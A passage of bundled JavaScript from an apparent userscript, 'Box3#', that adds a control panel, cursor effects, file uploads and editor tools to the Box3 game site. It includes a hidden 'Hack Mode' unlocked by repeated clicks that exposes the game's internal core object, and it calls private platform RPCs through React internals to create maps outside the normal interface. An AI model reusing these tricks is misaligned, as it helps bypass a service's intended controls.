  4006. async function uploadHash(data, name = "") {
  4007. const removeLoading = startLoading("正在上传" + name);
  4008. const res = await fetch("https://static.box3.codemao.cn/block", {
  4009. method: "POST",
  4010. body: data
  4011. });
  4012. removeLoading();
  4013. if (res.ok)
  4014. return await res.json();
  4015. else
  4016. throw res;
  4017. }
  4018. async function waitElement(query) {
  4019. let el;
  4020. while (true) {
  4021. el = document.querySelector(query);
  4022. if (el)
  4023. return el;
  4024. await new Promise(requestAnimationFrame);
  4025. }
  4026. }
  4027. async function waitUntil(f) {
  4028. while (!f())
  4029. await new Promise(requestAnimationFrame);
  4030. }
  4031. const defaultConfig = {
  4032. "ui.opacity": 1,
  4033. "ui.width": 400,
  4034. "flag.hackMode": false,
  4035. "ui.primaryColor": "#4174ff",
  4036. "ui.blur": 5,
  4037. "ui.borderRound": true,
  4038. "magicCursor.enable": true,
  4039. "magicCursor.color": "#4174ff",
  4040. "magicCursor.rippleColor": "#42e9ff",
  4041. "magicCursor.opacity": 0.5,
  4042. "ui.windowPos": [0, 0]
  4043. };
  4044. let settings = {
  4045. ...defaultConfig,
  4046. ...GM_getValue("settings", {})
  4047. };
  4048. function getSetting(k) {
  4049. return { ...settings }[k];
  4050. }
  4051. function setSetting(k, v) {
  4052. Object.assign(settings, { [k]: v });
  4053. saveSettings();
  4054. }
  4055. function saveSettings() {
  4056. GM_setValue("settings", settings);
  4057. }
  4058. function resetSettings() {
  4059. GM_setValue("settings", defaultConfig);
  4060. location.reload();
  4061. }
  4062. function reloadSettings() {
  4063. settings = GM_getValue("settings", defaultConfig);
  4064. }
  4065. function addFunctionButton(gui2, func, name) {
  4066. const btn = gui2.add(
  4067. {
  4068. func: () => {
  4069. btn.name("⏳ 正在执行操作...");
  4070. btn.disable();
  4071. func().then(() => {
  4072. btn.name(name);
  4073. btn.enable();
  4074. });
  4075. }
  4076. },
  4077. "func"
  4078. ).name(name);
  4079. }
  4080. function addLabel(gui2, name) {
  4081. const btn = gui2.add(
  4082. {
  4083. func: () => {
  4084. }
  4085. },
  4086. "func"
  4087. ).name(name);
  4088. btn.disable();
  4089. return btn;
  4090. }
  4091. function setupMagicCursor() {
  4092. Promise.resolve().then(() => magicCursorStyle$1);
  4093. function addStyle() {
  4094. const style2 = document.createElement("style");
  4095. style2.textContent = "*{cursor:none !important;}";
  4096. document.body.appendChild(style2);
  4097. }
  4098. addStyle();
  4099. const canvas = document.createElement("canvas");
  4100. const ctx = canvas.getContext("2d");
  4101. let mousePos = [0, 0];
  4102. let pos = [0, 0];
  4103. const MAX_LENGTH = 30;
  4104. let points = [];
  4105. const ripples = [];
  4106. let hudText = [];
  4107. let hudTextOpacity = 0;
  4108. function setHudText(message) {
  4109. if (hudTextOpacity > 0) {
  4110. hudText.push(message);
  4111. } else {
  4112. hudText = [message];
  4113. }
  4114. hudTextOpacity = 1;
  4115. }
  4116. function resize() {
  4117. canvas.height = innerHeight * devicePixelRatio;
  4118. canvas.width = innerWidth * devicePixelRatio;
  4119. }
  4120. addEventListener("resize", resize);
  4121. document.body.addEventListener("mousemove", ({ clientX, clientY }) => {
  4122. mousePos = [clientX * devicePixelRatio, clientY * devicePixelRatio];
  4123. });
  4124. addEventListener("mousedown", () => {
  4125. ripples.push([...mousePos, 0]);
  4126. });
  4127. addEventListener("wheel", ({ deltaY }) => {
  4128. pos[1] -= deltaY * 0.1;
  4129. });
  4130. resize();
  4131. canvas.classList.add("magic-cursor-canvas");
  4132. document.body.append(canvas);
  4133. let isPointerLock = false;
  4134. function frame() {
  4135. if (document.pointerLockElement) {
  4136. if (!isPointerLock) {
  4137. setHudText("开启鼠标锁定");
  4138. isPointerLock = true;
  4139. }
  4140. canvas.style.opacity = "0";
  4141. mousePos = [
  4142. innerWidth * devicePixelRatio / 2,
  4143. innerHeight * devicePixelRatio / 2
  4144. ];
  4145. } else {
  4146. if (isPointerLock) {
  4147. setHudText("退出鼠标锁定");
  4148. isPointerLock = false;
  4149. }
  4150. canvas.style.opacity = settings["magicCursor.opacity"].toString();
  4151. }
  4152. ctx.clearRect(0, 0, canvas.width, canvas.height);
  4153. requestAnimationFrame(frame);
  4154. pos[0] += (mousePos[0] - pos[0]) / 5;
  4155. pos[1] += (mousePos[1] - pos[1]) / 5;
  4156. ctx.lineJoin = "round";
  4157. ctx.lineCap = "round";
  4158. for (let i = 0; i < points.length; i++) {
  4159. const a = i / MAX_LENGTH;
  4160. ctx.beginPath();
  4161. if (i > 0)
  4162. ctx.moveTo(points[i - 1][0], points[i - 1][1]);
  4163. ctx.lineTo(points[i][0], points[i][1]);
  4164. ctx.strokeStyle = `${settings["magicCursor.color"]}${Math.round(
  4165. a * 255
  4166. ).toString(16)}`;
  4167. ctx.lineWidth = a * 20;
  4168. ctx.closePath();
  4169. ctx.stroke();
  4170. }
  4171. for (let r of ripples) {
  4172. ctx.beginPath();
  4173. ctx.arc(r[0], r[1], r[2] * 30, 0, Math.PI * 2);
  4174. ctx.fillStyle = `${settings["magicCursor.rippleColor"]}${Math.round(
  4175. (1 - r[2]) * 255
  4176. ).toString(16)}`;
  4177. ctx.closePath();
  4178. ctx.fill();
  4179. r[2] += (1 - r[2]) / 10;
  4180. }
  4181. for (let i = 0; i < ripples.length; i++) {
  4182. if (ripples[i][2] >= 0.999)
  4183. ripples.splice(i, 1);
  4184. }
  4185. ctx.closePath();
  4186. points.push([...pos]);
  4187. ctx.beginPath();
  4188. ctx.arc(mousePos[0], mousePos[1], 3, 0, Math.PI * 2);
  4189. ctx.fillStyle = settings["magicCursor.rippleColor"];
  4190. ctx.closePath();
  4191. ctx.fill();
  4192. ctx.strokeStyle = `rgba(0,0,0,${hudTextOpacity})`;
  4193. ctx.fillStyle = `rgba(255,255,255,${hudTextOpacity})`;
  4194. ctx.lineWidth = 2;
  4195. ctx.lineCap = "square";
  4196. ctx.lineJoin = "miter";
  4197. ctx.font = "16px Arial";
  4198. for (let i = 0; i < hudText.length; i++) {
  4199. ctx.strokeText(hudText[i], mousePos[0] + 5, mousePos[1] + 5 + 15 * i);
  4200. ctx.fillText(hudText[i], mousePos[0] + 5, mousePos[1] + 5 + 15 * i);
  4201. }
  4202. if (hudTextOpacity > 0)
  4203. hudTextOpacity -= 5e-3;
  4204. while (points.length > MAX_LENGTH) {
  4205. points.splice(0, 1);
  4206. }
  4207. }
  4208. frame();
  4209. }
  4210. function HashTools(gui2) {
  4211. const f = gui2.addFolder("Hash工具");
  4212. f.close();
  4213. addFunctionButton(
  4214. f,
  4215. async () => {
  4216. const input = document.createElement("input");
  4217. input.type = "file";
  4218. input.style.opacity = "0";
  4219. document.body.append(input);
  4220. input.click();
  4221. input.addEventListener("change", async () => {
  4222. const file = input.files[0];
  4223. input.remove();
  4224. if (!file)
  4225. return;
  4226. try {
  4227. const obj = await uploadHash(file);
  4228. navigator.clipboard.writeText(obj.Key);
  4229. if ((await Swal.fire({
  4230. title: "上传完成",
  4231. html: `HashKey: ${obj.Key}<br/>大小: ${obj.Size}<br/>已将Hash复制到剪贴板`,
  4232. cancelButtonText: "关闭",
  4233. confirmButtonText: "打开Hash链接",
  4234. showCancelButton: true,
  4235. icon: "info"
  4236. })).isConfirmed)
  4237. open(`https://static.box3.codemao.cn/block/${obj.Key}`);
  4238. } catch (e) {
  4239. const res = e;
  4240. Swal.fire(
  4241. `上传失败`,
  4242. `${res.status} ${res.statusText}
  4243. ${await res.text()}`,
  4244. "error"
  4245. );
  4246. }
  4247. });
  4248. },
  4249. "上传文件"
  4250. );
  4251. const f2 = f.addFolder("打开Hash");
  4252. addFunctionButton(
  4253. f2,
  4254. async () => {
  4255. const text = (await navigator.clipboard.readText()).trim();
  4256. if (!/^Qm[a-zA-Z0-9]+$/.test(text))
  4257. return Swal.fire(
  4258. "Hash无效",
  4259. `剪贴板中的内容并不是一个有效的hash`,
  4260. "error"
  4261. );
  4262. open(`https://static.box3.codemao.cn/block/${text}`);
  4263. return;
  4264. },
  4265. "打开剪贴板中的hash"
  4266. );
  4267. }
  4268. const _HashTools = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4269. __proto__: null,
  4270. default: HashTools
  4271. }, Symbol.toStringTag, { value: "Module" }));
  4272. function updateUIProperty() {
  4273. const element = document.querySelector(".lil-gui.root");
  4274. element.style.opacity = settings["ui.opacity"].toString();
  4275. element.style.width = settings["ui.width"].toString() + "px";
  4276. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4277. element.style.setProperty(
  4278. "--border-radius",
  4279. settings["ui.borderRound"] ? "5px" : "0"
  4280. );
  4281. element.style.setProperty("--blur", settings["ui.blur"].toString() + "px");
  4282. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4283. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4284. }
  4285. function Box3SharpConfig(gui2) {
  4286. updateUIProperty();
  4287. const f = gui2.addFolder("Box3#设置");
  4288. f.close();
  4289. let enableHackClickCount = 0;
  4290. if (!getSetting("flag.hackMode"))
  4291. f.add(
  4292. {
  4293. async f() {
  4294. enableHackClickCount++;
  4295. if (enableHackClickCount == 10) {
  4296. if ((await Swal.fire({
  4297. title: "Enable Hack Mode",
  4298. text: "启用后所造成的一切后果均需要自行承担",
  4299. icon: "warning",
  4300. showConfirmButton: true,
  4301. showCancelButton: true,
  4302. confirmButtonText: "Enable and reload",
  4303. cancelButtonText: "取消"
  4304. })).isConfirmed) {
  4305. setSetting("flag.hackMode", true);
  4306. location.reload();
  4307. } else
  4308. enableHackClickCount = 0;
  4309. }
  4310. }
  4311. },
  4312. "f"
  4313. ).name("▰▰▰ Box3 Sharp ▰▰▰");
  4314. else
  4315. f.add(
  4316. {
  4317. f() {
  4318. setSetting("flag.hackMode", false);
  4319. location.reload();
  4320. }
  4321. },
  4322. "f"
  4323. ).name("Disable Hack Mode");
  4324. f.add(settings, "ui.opacity", 0.1, 1).name("UI透明度").onChange(updateUIProperty);
  4325. f.add(settings, "ui.width", 200, 800).name("UI宽度").onFinishChange(updateUIProperty);
  4326. f.addColor(settings, "ui.primaryColor").name("主题颜色").onChange(updateUIProperty);
  4327. f.add(settings, "ui.blur", 0, 10).name("背景模糊度").onChange(updateUIProperty);
  4328. f.add(settings, "ui.borderRound").name("控件圆角").onFinishChange(updateUIProperty);
  4329. const mcf = f.addFolder("鼠标特效");
  4330. mcf.add(settings, "magicCursor.enable").name("启用鼠标特效(需要刷新)");
  4331. mcf.addColor(settings, "magicCursor.color").name("光标拖尾颜色");
  4332. mcf.addColor(settings, "magicCursor.rippleColor").name("波纹颜色");
  4333. mcf.add(settings, "magicCursor.opacity", 0.1, 1).name("图层透明度");
  4334. addFunctionButton(
  4335. f,
  4336. async () => {
  4337. saveSettings();
  4338. location.reload();
  4339. },
  4340. "保存并刷新"
  4341. );
  4342. addFunctionButton(
  4343. f,
  4344. async () => {
  4345. reloadSettings();
  4346. location.reload();
  4347. },
  4348. "不保存并刷新"
  4349. );
  4350. addFunctionButton(
  4351. f,
  4352. async () => {
  4353. resetSettings();
  4354. },
  4355. "还原为默认值"
  4356. );
  4357. }
  4358. const _Settings = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4359. __proto__: null,
  4360. default: Box3SharpConfig
  4361. }, Symbol.toStringTag, { value: "Module" }));
  4362. const style = "";
  4363. const swalOverride = "";
  4364. let gui;
  4365. let containerWindowElement = document.createElement("div");
  4366. document.body.append(containerWindowElement);
  4367. let dragHandle = document.createElement("div");
  4368. let windowPos = [...settings["ui.windowPos"]];
  4369. containerWindowElement.append(dragHandle);
  4370. let isPlaneDragging = false;
  4371. containerWindowElement.classList.add("container-window");
  4372. dragHandle.classList.add("handle");
  4373. dragHandle.textContent = "拖动此区域以移动窗口";
  4374. dragHandle.addEventListener("mousedown", () => isPlaneDragging = true);
  4375. function updateWindowPosition() {
  4376. containerWindowElement.style.left = ~~windowPos[0] + "px";
  4377. containerWindowElement.style.top = ~~windowPos[1] + "px";
  4378. }
  4379. updateWindowPosition();
  4380. addEventListener("mousemove", ({ movementX, movementY }) => {
  4381. if (isPlaneDragging) {
  4382. windowPos[0] += movementX;
  4383. windowPos[1] += movementY;
  4384. updateWindowPosition();
  4385. }
  4386. });
  4387. addEventListener("mouseup", () => {
  4388. isPlaneDragging = false;
  4389. if (windowPos[1] < 0)
  4390. windowPos[1] = 0;
  4391. if (windowPos[0] < 0)
  4392. windowPos[0] = 0;
  4393. if (windowPos[1] > innerHeight - 50)
  4394. windowPos[1] = innerHeight - 50;
  4395. if (windowPos[0] > innerWidth - settings["ui.width"])
  4396. windowPos[0] = innerWidth - settings["ui.width"];
  4397. settings["ui.windowPos"] = [...windowPos];
  4398. saveSettings();
  4399. updateWindowPosition();
  4400. });
  4401. function main() {
  4402. gui = new GUI({ width: 400, autoPlace: false });
  4403. containerWindowElement.append(gui.domElement);
  4404. gui.title("Box3#");
  4405. async function matchModule() {
  4406. const matches = {
  4407. "box3.fun": "Box3Fun",
  4408. "/me/content($|.+map)": "MapContent",
  4409. "/p/": "Play",
  4410. "/e/": "Editor"
  4411. };
  4412. for (let r of Object.keys(matches)) {
  4413. if (new RegExp(r).test(location.href)) {
  4414. try {
  4415. const func = (await __variableDynamicImportRuntimeHelper(/* @__PURE__ */ Object.assign({ "./modules/Box3Fun.ts": () => Promise.resolve().then(() => Box3Fun$1), "./modules/Editor.ts": () => Promise.resolve().then(() => Editor$1), "./modules/MapContent.ts": () => Promise.resolve().then(() => MapContent$1), "./modules/Play.ts": () => Promise.resolve().then(() => Play$1), "./modules/_CustomMap.ts": () => Promise.resolve().then(() => _CustomMap$1), "./modules/_HashTools.ts": () => Promise.resolve().then(() => _HashTools), "./modules/_Settings.ts": () => Promise.resolve().then(() => _Settings), "./modules/_graphicSettings.ts": () => Promise.resolve().then(() => _graphicSettings) }), `./modules/${matches[r]}.ts`)).default;
  4416. func(gui);
  4417. } catch (e) {
  4418. addLabel(gui, `❌ 模块 ${matches[r]} 加载失败`);
  4419. console.error(e);
  4420. }
  4421. }
  4422. }
  4423. }
  4424. matchModule();
  4425. HashTools(gui);
  4426. Box3SharpConfig(gui);
  4427. }
  4428. let lastHref = "";
  4429. setInterval(() => {
  4430. if (location.href != lastHref) {
  4431. lastHref = location.href;
  4432. if (gui)
  4433. gui.destroy();
  4434. main();
  4435. }
  4436. }, 100);
  4437. if (settings["magicCursor.enable"])
  4438. setupMagicCursor();
  4439. const magicCursorStyle = "canvas.magic-cursor-canvas {\n height: 100vh;\n width: 100vw;\n position: fixed;\n top: 0;\n left: 0;\n z-index: 9999999999;\n opacity: 0.5;\n pointer-events: none;\n transition: opacity 1s;\n}\n";
  4440. const magicCursorStyle$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4441. __proto__: null,
  4442. default: magicCursorStyle
  4443. }, Symbol.toStringTag, { value: "Module" }));
  4444. function Box3Fun(gui2) {
  4445. addFunctionButton(
  4446. gui2,
  4447. async () => {
  4448. startLoading();
  4449. location.href = "https://box3.codemao.cn";
  4450. },
  4451. "跳转到box3.codemao.cn"
  4452. );
  4453. addFunctionButton(
  4454. gui2,
  4455. async () => {
  4456. location.href = "/admin";
  4457. },
  4458. "进入后台(仅限官方)"
  4459. );
  4460. }
  4461. const Box3Fun$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4462. __proto__: null,
  4463. default: Box3Fun
  4464. }, Symbol.toStringTag, { value: "Module" }));
  4465. function GraphicSettings(getCore, state, gui2, needSetSettings = true) {
  4466. const settingsFolder = gui2.addFolder("🎮 高级画质设定").close();
  4467. var VFXSettingsFolder = settingsFolder.addFolder("📈 视觉&性能").close();
  4468. var particleSettingsFolder = settingsFolder.addFolder("💻 后处理特效").close();
  4469. var postProcessSettingsFolder = settingsFolder.addFolder("🎵 音量合成器").close();
  4470. var SFXSettingsFolder = settingsFolder.addFolder("✨ 实体粒子数量").close();
  4471. var graphicSettings = state.box3.state.settings;
  4472. [
  4473. VFXSettingsFolder.add(graphicSettings, "resolutionScale", {
  4474. 极低: 0.1,
  4475. 非常低: 0.2,
  4476. 低: 0.3,
  4477. 中: 0.5,
  4478. 高: 0.7,
  4479. 较高: 0.8,
  4480. 全高清: 1,
  4481. "超采样(1.1x)": 1.1,
  4482. "超采样(1.25x)": 1.25,
  4483. "超采样(1.5x)": 1.5,
  4484. "超采样(2.0x)": 2,
  4485. "超采样(2.5x)": 2.5,
  4486. "超采样(3.0x)": 3,
  4487. "超采样(4.0x)": 4
  4488. }).name("清晰度(重进生效)"),
  4489. VFXSettingsFolder.add(
  4490. graphicSettings,
  4491. "animationQuality",
  4492. {
  4493. 低: 0,
  4494. 中: 100,
  4495. 高: 200
  4496. },
  4497. 1
  4498. ).name("动画质量"),
  4499. VFXSettingsFolder.add(graphicSettings, "drawDistance", {
  4500. 非常近: 16,
  4501. 近: 32,
  4502. 中: 64,
  4503. 远: 128,
  4504. 较远: 256,
  4505. 非常远: 512,
  4506. 极远: 1024,
  4507. 荒唐: 2048,
  4508. 疯狂: 4096
  4509. }).name("视野距离"),
  4510. VFXSettingsFolder.add(
  4511. graphicSettings,
  4512. "cameraSensitivity",
  4513. 0.01,
  4514. 3,
  4515. 0.01
  4516. ).name("视角灵敏度"),
  4517. VFXSettingsFolder.add(graphicSettings, "safeShaders").name(
  4518. "安全光影(追求极致效果请关闭)"
  4519. ),
  4520. VFXSettingsFolder.add(graphicSettings, "shadowResolution", {
  4521. 关闭: 0,
  4522. 极低: 128,
  4523. 低: 512,
  4524. 中: 1024,
  4525. 高: 2048,
  4526. 非常高: 4096
  4527. }).name("阴影质量"),
  4528. VFXSettingsFolder.add(graphicSettings, "gamma", 0, 2).name("伽马"),
  4529. VFXSettingsFolder.add(graphicSettings, "lowQualityTextures").name(
  4530. "低质量贴图"
  4531. ),
  4532. VFXSettingsFolder.add(graphicSettings, "hdSky").name("高清天空"),
  4533. VFXSettingsFolder.add(graphicSettings, "reflections").name("反射模式"),
  4534. VFXSettingsFolder.add(graphicSettings, "parallaxMap").name("视差贴图"),
  4535. VFXSettingsFolder.add(
  4536. graphicSettings,
  4537. "parallaxDistance",
  4538. 1,
  4539. 128,
  4540. 0.1
  4541. ).name("视差距离"),
  4542. particleSettingsFolder.add(graphicSettings, "postprocess").name("启用后处理特效"),
  4543. particleSettingsFolder.add(graphicSettings, "depthOfField", {
  4544. 关闭: 0,
  4545. 低: 16,
  4546. 中: 32,
  4547. 高: 64,
  4548. 散光: 128
  4549. }).name("景深强度"),
  4550. particleSettingsFolder.add(graphicSettings, "volumetricScattering").name("体积散射"),
  4551. particleSettingsFolder.add(graphicSettings, "bloom").name("荧光特效"),
  4552. particleSettingsFolder.add(graphicSettings, "fxaa").name("FXAA抗锯齿"),
  4553. postProcessSettingsFolder.add(graphicSettings, "masterMute").name("主音量静音"),
  4554. postProcessSettingsFolder.add(graphicSettings, "masterVolume", 0, 1, 0.01).name("主音量大小"),
  4555. postProcessSettingsFolder.add(graphicSettings, "effectsMute").name("音效静音"),
  4556. postProcessSettingsFolder.add(graphicSettings, "effectsVolume", 0, 1).name("音效音量"),
  4557. postProcessSettingsFolder.add(graphicSettings, "maxSoundEffects", 0, 100, 1).name("最大音效数量"),
  4558. postProcessSettingsFolder.add(graphicSettings, "uiMute").name("界面音效静音"),
  4559. postProcessSettingsFolder.add(graphicSettings, "uiVolume", 0, 1, 0.01).name("界面音效音量"),
  4560. postProcessSettingsFolder.add(graphicSettings, "musicMute").name("背景音乐静音"),
  4561. postProcessSettingsFolder.add(graphicSettings, "musicVolume", 0, 1, 0.01).name("背景音乐音量"),
  4562. SFXSettingsFolder.add(graphicSettings, "maxParticles", 0, 131052, 1).name(
  4563. "最大粒子数量"
  4564. ),
  4565. SFXSettingsFolder.add(
  4566. graphicSettings,
  4567. "maxParticleGroups",
  4568. 0,
  4569. 1024,
  4570. 1
  4571. ).name("最大粒子组数量")
  4572. ].forEach(
  4573. (i) => i.onChange(() => {
  4574. if (needSetSettings)
  4575. getCore().setGameSettings(graphicSettings);
  4576. })
  4577. );
  4578. }
  4579. const _graphicSettings = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4580. __proto__: null,
  4581. default: GraphicSettings
  4582. }, Symbol.toStringTag, { value: "Module" }));
  4583. async function Editor(gui2) {
  4584. const f = gui2.addFolder("编辑器工具");
  4585. const btn = f.add({ a() {
  4586. } }, "a").name("等待进入地图").disable();
  4587. const rootElement = await waitElement("#edit-react");
  4588. function getCore() {
  4589. return rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props;
  4590. }
  4591. await waitUntil(
  4592. () => {
  4593. var _a, _b, _c, _d;
  4594. return !getCore().onStart && ((_d = (_c = (_b = (_a = getCore()) == null ? void 0 : _a.state) == null ? void 0 : _b.box3) == null ? void 0 : _c.state) == null ? void 0 : _d.appState) == 2;
  4595. }
  4596. );
  4597. const core = getCore();
  4598. btn.destroy();
  4599. function place(gui22, obj) {
  4600. for (let k of Object.keys(obj)) {
  4601. const v = obj[k];
  4602. if (typeof v === "object") {
  4603. const f2 = gui22.addFolder(k);
  4604. place(f2, v);
  4605. } else if (typeof v === "string") {
  4606. addFunctionButton(gui22, async () => getCore().scriptEval(v), k);
  4607. }
  4608. }
  4609. }
  4610. if (getSetting("flag.hackMode"))
  4611. Object.assign(window, { core });
  4612. place(f, {
  4613. 编辑器常用控制台代码: {
  4614. 移动: {
  4615. 所有玩家返回重生点: `world.querySelectorAll("player").forEach(e=>e.player.forceRespawn())`,
  4616. 切换幽灵模式: `world.querySelectorAll("player").forEach(e=>e.player.spectator=!e.player.spectator)`,
  4617. 切换飞行模式: `world.querySelectorAll("player").forEach(e=>e.player.canFly=!e.player.canFly)`,
  4618. 提高飞行速度: `world.querySelectorAll("player").forEach(e=>e.player.flySpeed*=2)`,
  4619. 降低飞行速度: `world.querySelectorAll("player").forEach(e=>e.player.flySpeed/=2)`
  4620. }
  4621. }
  4622. });
  4623. addFunctionButton(
  4624. f,
  4625. async () => {
  4626. const done = startLoading();
  4627. await core.editReplica.stopProject();
  4628. await core.editReplica.startProject();
  4629. done();
  4630. },
  4631. "停止代码并重新开始"
  4632. );
  4633. addFunctionButton(
  4634. f,
  4635. async () => {
  4636. if ((await Swal.fire({
  4637. title: "重启编辑端",
  4638. text: "重启编辑端将会踢出所有玩家并停止编辑器中所有代码,再次启动需要更长时间。仅应用于编辑器卡住等特殊情况,请勿用于恶意用途(重启编辑器需要大约半分钟)",
  4639. confirmButtonText: "确认重启",
  4640. confirmButtonColor: "red",
  4641. showCancelButton: true,
  4642. cancelButtonText: "取消"
  4643. })).isConfirmed) {
  4644. startLoading("正在重启");
  4645. await sleep(2e4);
  4646. core.editReplica.restart();
  4647. location.reload();
  4648. }
  4649. },
  4650. "重启编辑端"
  4651. );
  4652. addFunctionButton(
  4653. f,
  4654. async () => {
  4655. const fileList = await showUploadFile(true, "text/javascript");
  4656. for (let file of fileList) {
  4657. core.assetController.copyAsset(file.filename, {
  4658. contentId: 0,
  4659. hash: file.Key,
  4660. ownerId: 0,
  4661. previewImage: "",
  4662. size: file.Size,
  4663. type: 1
  4664. });
  4665. }
  4666. },
  4667. "批量上传脚本"
  4668. );
  4669. addFunctionButton(
  4670. f,
  4671. async () => {
  4672. const fileList = await showUploadFile(true, "audio/*");
  4673. for (let file of fileList) {
  4674. core.assetController.copyAsset(file.filename, {
  4675. contentId: 0,
  4676. hash: file.Key,
  4677. ownerId: 0,
  4678. previewImage: "",
  4679. size: file.Size,
  4680. type: 6
  4681. });
  4682. }
  4683. },
  4684. "批量上传音频"
  4685. );
  4686. const state = getCore().state;
  4687. GraphicSettings(getCore, state, f, false);
  4688. }
  4689. const Editor$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4690. __proto__: null,
  4691. default: Editor
  4692. }, Symbol.toStringTag, { value: "Module" }));
  4693. function _CustomMap(gui2) {
  4694. const f = gui2.addFolder("自定义地图参数");
  4695. const shapeFolder = f.addFolder("地图尺寸");
  4696. const emptyChunk = "QmYUffAgALxiUQonbhAVXjknTq3dNf3AfHQGQ8P5xny7TU";
  4697. const config = {
  4698. shape: {
  4699. x: 128,
  4700. y: 128,
  4701. z: 128
  4702. },
  4703. enableTriggerAPI: false,
  4704. storageMode: "sqlite",
  4705. scriptIndex: "index.js",
  4706. name: "空白自定义地图"
  4707. };
  4708. const create = async () => {
  4709. const errors = [];
  4710. const V = config.shape.x * config.shape.y * config.shape.z;
  4711. if (V >= 67108864) {
  4712. errors.push("地图总体积不得超过67108864");
  4713. }
  4714. if (!/^.+\.js$/.test(config.scriptIndex)) {
  4715. errors.push("脚本入口错误");
  4716. }
  4717. if (errors.length > 0) {
  4718. return Swal.fire({
  4719. title: `输入有误`,
  4720. html: "您输入的参数存在以下问题<br/>" + errors.map((i) => "⚠ " + i).join("<br/>"),
  4721. icon: "error"
  4722. });
  4723. }
  4724. try {
  4725. let buildVoxelChunks = function() {
  4726. var chunks = [], xx = config.shape.x / 32, yy = config.shape.y / 32, zz = config.shape.z / 32;
  4727. for (let i = 1; i < zz; i++) {
  4728. chunks = chunks.concat(
  4729. new Array(xx - 1).fill(
  4730. "QmY4M7B58dARVAJyYf7aonuGjNnaUFUusCQXq9tmifLEKY"
  4731. )
  4732. );
  4733. chunks.push("Qmcoad9FnMdKGbxn5ifLdCaivVi6T7E2bmDVAdJbwuRD2a");
  4734. chunks = chunks.concat(new Array((yy - 1) * xx).fill(emptyChunk));
  4735. }
  4736. chunks = chunks.concat(
  4737. new Array(xx - 1).fill(
  4738. "QmaCUNCe7XDEnXJqprgikquGk6H5nkMegxi77h2aaRyc2b"
  4739. )
  4740. );
  4741. chunks.push("QmX49DZMGEY9ANyzfbrWhiEKk1hkz9SRpFn2NTKMRUjQzj");
  4742. chunks = chunks.concat(new Array((yy - 1) * xx).fill(emptyChunk));
  4743. return chunks;
  4744. };
  4745. const voxelsHash = (await uploadHash(
  4746. JSON.stringify({
  4747. chunks: buildVoxelChunks(),
  4748. shape: config.shape
  4749. })
  4750. )).Key;
  4751. console.log("Voxels Hash", voxelsHash);
  4752. const projectHash = (await uploadHash(
  4753. JSON.stringify({
  4754. ambientSound: "QmcNbLSSQfVcDpH9jSX38RSVrL1SZK3vNMZwaP7cMkKqvY",
  4755. assets: "QmQ7F5ee4rxLn5UQgjKrrtaX1Qif1P48NxYiSv3damw5G3",
  4756. collisionFilter: [],
  4757. committerId: 0,
  4758. deleteAssets: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN",
  4759. editRoot: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN",
  4760. entities: "QmSvPd3sHK7iWgZuW47fyLy4CaZQe2DwxvRhrJ39VpBVMK",
  4761. environment: "QmSnYEH7wPftKcr8qDaBWf5PrbHrqKbqEhTUthQsDuhPqV",
  4762. features: { enableTriggerAPI: config.enableTriggerAPI },
  4763. folders: "QmSvPd3sHK7iWgZuW47fyLy4CaZQe2DwxvRhrJ39VpBVMK",
  4764. info: "QmbpXhRWRMdN4y6CZ4VsPXkkuNfvFSPoSkKn86BVzYh26w",
  4765. physics: "QmTzt6Z6Mm11NQjTeXspDMJtddzDadzwhgwfWUtNG5XCrD",
  4766. player: "QmUMttRLjZYCpW6gLBiLZsCq3VNjWCnK4NtqYaBYJ1GCyh",
  4767. prevHash: "QmcfC4xGX69j1dcgUb3gZS9a9qjCR8aVah1PjQspUVNYvH",
  4768. scriptAssets: "Qmcv3WHWrFohnJXxk2qdV2hk6CE6vQ4BzWMVsE2qFVXV9j",
  4769. scriptIndex: config.scriptIndex,
  4770. storageMode: config.storageMode,
  4771. timestamp: new Date().toISOString(),
  4772. type: "project",
  4773. version: "0.3.11",
  4774. voxels: voxelsHash,
  4775. zones: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN"
  4776. })
  4777. )).Key;
  4778. console.log("Project Hash", projectHash);
  4779. const containerName = await document.querySelector(".app")._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.website.rpc.container.api.createGameEdit(
  4780. { hash: projectHash, name: config.name }
  4781. );
  4782. console.log("Edit container", containerName);
  4783. const editHref = `https://box3.codemao.cn/e/${containerName.slice(5)}`;
  4784. console.log("Edit href", editHref);
  4785. if ((await Swal.fire({
  4786. title: "创建完成",
  4787. text: "已使用自定义参数创建地图",
  4788. icon: "success",
  4789. confirmButtonText: "进入地图"
  4790. })).isConfirmed) {
  4791. location.href = editHref;
  4792. }
  4793. } catch (e) {
  4794. Swal.fire("创建失败", String(e), "error");
  4795. }
  4796. return;
  4797. };
  4798. shapeFolder.add(config.shape, "x", 32, 1024, 1);
  4799. shapeFolder.add(config.shape, "y", 32, 1024, 1);
  4800. shapeFolder.add(config.shape, "z", 32, 1024, 1);
  4801. f.add(config, "enableTriggerAPI").name("启用TriggerAPI");
  4802. f.add(config, "scriptIndex").name("脚本入口文件");
  4803. f.add(config, "storageMode", ["sqlite", "pg"]).name("数据库引擎");
  4804. f.add(config, "name").name("地图名称");
  4805. addFunctionButton(f, create, "创建自定义地图");
  4806. }
  4807. const _CustomMap$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4808. __proto__: null,
  4809. default: _CustomMap
  4810. }, Symbol.toStringTag, { value: "Module" }));
  4811. function MapContent(gui2) {
  4812. const f = gui2.addFolder("地图工具");
  4813. _CustomMap(f);
  4814. }
  4815. const MapContent$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4816. __proto__: null,
  4817. default: MapContent
